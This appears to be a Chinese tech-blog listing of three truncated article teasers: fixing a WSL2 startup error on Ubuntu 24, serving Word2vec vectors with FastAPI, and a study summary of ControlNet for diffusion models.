启动wsl里的Ubuntu24报错:当前计算机配置不支持 WSL2,HCS_E_HYPERV_NOT_INSTALLED

问题&#xff1a;启动wsl里的Ubuntu24报错 报错信息&#xff1a; 当前计算机配置不支持 WSL2。 请启用“虚拟机平台”可选组件&#xff0c;并确保在 BIOS 中启用虚拟化。 通过运行以下命令启用“虚拟机平台”: wsl.exe --install --no-distribution 有关信息&#xff0c;请访…

Python使用FastAPI结合Word2vec来向量化200维的语言向量数值

准备 pip install fastapi>0.68.0 pip install uvicorn[standard]>0.15.0 pip install gensim>4.0.0 pip install jieba>0.42.1 pip install numpy>1.21.0 pip install scikit-learn>1.0.0少了的就直接补充就好 代码 from fastapi import FastAPI, HTTPExc…

ControlNet

文章目录 摘要abstract1.ControlNet1.1 原文摘要1.2 模型架构1.3 架构细节1.4 训练损失函数1.5 实验1.6 结论 2.总结参考文献 摘要 本周学习的ControlNet 是一种用于文本到图像扩散模型&#xff08;如 Stable Diffusion&#xff09;的条件控制方法。它通过冻结预训练的扩散模型…